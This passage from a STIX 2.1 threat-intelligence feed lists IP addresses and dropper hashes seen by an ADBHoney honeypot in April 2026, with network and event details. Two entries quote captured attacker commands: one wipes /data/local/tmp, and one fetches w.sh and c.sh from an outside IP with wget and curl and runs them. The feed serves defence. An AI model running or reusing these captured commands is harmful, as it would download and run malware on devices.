      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=283; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=283 | first_seen=2026-04-27T20:18:31.000Z | last_seen=2026-04-27T20:29:38.616Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--80439013-c4a0-45e1-9480-f2397d9a166a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.81.129.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:00:03.000Z",
      "valid_until": "2026-05-29T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 283,
          "first_seen": "2026-04-27T20:18:31.000Z",
          "last_seen": "2026-04-27T20:29:38.616Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-27T23:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-27T22:46:45.000Z | last_seen=2026-04-27T22:58:20.976Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e6cc0f3e-d5d7-42ca-9056-be8488ae800b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T23:00:06.000Z",
      "valid_until": "2026-05-29T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-27T22:46:45.000Z",
          "last_seen": "2026-04-27T22:58:20.976Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=32; ports=5555; cc=TW; asn=3462; asn_org=Data Communication Business Group; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-04. events=32 | first_seen=2026-04-27T23:33:09.000Z | last_seen=2026-04-27T23:44:44.966Z | ports=5555 | cc=TW | asn=3462 | org=Data Communication Business Group | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
      "id": "indicator--1ba49d20-3d58-4104-b273-26813eca180f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '60.251.69.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:00:03.000Z",
      "valid_until": "2026-05-30T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 32,
          "first_seen": "2026-04-27T23:33:09.000Z",
          "last_seen": "2026-04-27T23:44:44.966Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "3462"
          ],
          "org": [
            "Data Communication Business Group"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=138423; asn_org=CMPak Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-28T05:13:12.000Z | last_seen=2026-04-28T05:23:26.751Z | ports=5555 | cc=PK | asn=138423 | org=CMPak Limited",
      "id": "indicator--f325fb6d-fcf4-4815-9edc-3d9780d6b996",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:00:02.000Z",
      "valid_until": "2026-05-30T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-28T05:13:12.000Z",
          "last_seen": "2026-04-28T05:23:26.751Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "138423"
          ],
          "org": [
            "CMPak Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=107; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=107 | first_seen=2026-04-28T07:03:22.000Z | last_seen=2026-04-28T07:57:37.526Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--f0a5b0c9-4bb2-449c-9008-ec2bb934fda5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.183.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:00:05.000Z",
      "valid_until": "2026-05-30T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 107,
          "first_seen": "2026-04-28T07:03:22.000Z",
          "last_seen": "2026-04-28T07:57:37.526Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T08:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-28T07:01:16.000Z | last_seen=2026-04-28T07:12:08.360Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c8f1567-7368-4a4b-bad9-25a2388d9401",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.89.188.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:00:05.000Z",
      "valid_until": "2026-05-30T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-28T07:01:16.000Z",
          "last_seen": "2026-04-28T07:12:08.360Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T13:00:20.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=TW; asn=17809; asn_org=VEE TIME CORP.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-28T12:07:05.000Z | last_seen=2026-04-28T12:08:44.685Z | ports=5555 | cc=TW | asn=17809 | org=VEE TIME CORP.",
      "id": "indicator--76c88c75-68c4-457e-b5fd-d9455dba3a91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '203.217.101.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T13:00:20.000Z",
      "valid_until": "2026-05-30T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-28T12:07:05.000Z",
          "last_seen": "2026-04-28T12:08:44.685Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "17809"
          ],
          "org": [
            "VEE TIME CORP."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T14:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-28T13:53:02.000Z | last_seen=2026-04-28T13:54:10.148Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--18c081b0-307e-4123-a359-19b0ee6e5eef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T14:00:05.000Z",
      "valid_until": "2026-05-30T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-28T13:53:02.000Z",
          "last_seen": "2026-04-28T13:54:10.148Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T16:00:21.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-28T15:47:24.000Z | last_seen=2026-04-28T15:48:27.285Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a3b2d6b3-bcb3-4cb8-8b38-9b4c113925f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '69.164.214.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:00:21.000Z",
      "valid_until": "2026-05-30T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-28T15:47:24.000Z",
          "last_seen": "2026-04-28T15:48:27.285Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=22295; asn_org=Advin Services LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://142.248.80.144/w.sh; sh w.sh; curl http://142.248.80.144/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-28T20:03:01.000Z | last_seen=2026-04-28T20:05:13.663Z | ports=5555 | cc=US | asn=22295 | org=Advin Services LLC",
      "id": "indicator--d29a72de-cb9f-4191-82b1-cb90759d86c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.248.80.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:00:02.000Z",
      "valid_until": "2026-05-30T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-28T20:03:01.000Z",
          "last_seen": "2026-04-28T20:05:13.663Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22295"
          ],
          "org": [
            "Advin Services LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-28T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=36 | first_seen=2026-04-28T20:53:36.000Z | last_seen=2026-04-30T05:38:13.316Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--9b094b0f-c450-4849-b756-bb4763867b1f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T21:00:02.000Z",
      "valid_until": "2026-05-30T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 36,
          "first_seen": "2026-04-28T20:53:36.000Z",
          "last_seen": "2026-04-30T05:38:13.316Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-29T00:58:29.000Z | last_seen=2026-04-29T01:10:53.868Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--91b82691-8386-476f-b913-c5a2b7a3002a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.131.162.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T01:00:03.000Z",
      "valid_until": "2026-05-31T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 27,
          "first_seen": "2026-04-29T00:58:29.000Z",
          "last_seen": "2026-04-29T01:10:53.868Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-29T01:58:59.000Z | last_seen=2026-04-29T02:09:14.605Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a0c9ed19-bc7d-4147-b287-4393c36f407f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.128.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T02:00:03.000Z",
      "valid_until": "2026-05-31T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-29T01:58:59.000Z",
          "last_seen": "2026-04-29T02:09:14.605Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-29T02:08:51.000Z | last_seen=2026-04-29T02:19:06.780Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--27d25e15-32be-4fb8-880c-7e8f7b8d6ea1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:00:03.000Z",
      "valid_until": "2026-05-31T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-29T02:08:51.000Z",
          "last_seen": "2026-04-29T02:19:06.780Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-29T02:08:51.000Z | last_seen=2026-04-29T02:18:54.853Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--5f6e02fa-3444-4495-b2b0-1566e44e029b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T03:00:03.000Z",
      "valid_until": "2026-05-31T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-29T02:08:51.000Z",
          "last_seen": "2026-04-29T02:18:54.853Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T06:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/552d098f01527e89114d5171a4582a104284720c9f54031b52d64b101b2d026a.raw; last_seen=2026-04-29T05:28:59.195Z",
      "id": "indicator--aed82333-e942-48df-afa9-7608c8973339",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '552d098f01527e89114d5171a4582a104284720c9f54031b52d64b101b2d026a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-29T06:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/8886793d994d11aad0c9f5c28da16384febde7286b845074a8c13a46251141e3.raw; last_seen=2026-04-29T05:28:35.995Z",
      "id": "indicator--94264976-d1fd-40d2-81d0-e38f67779395",
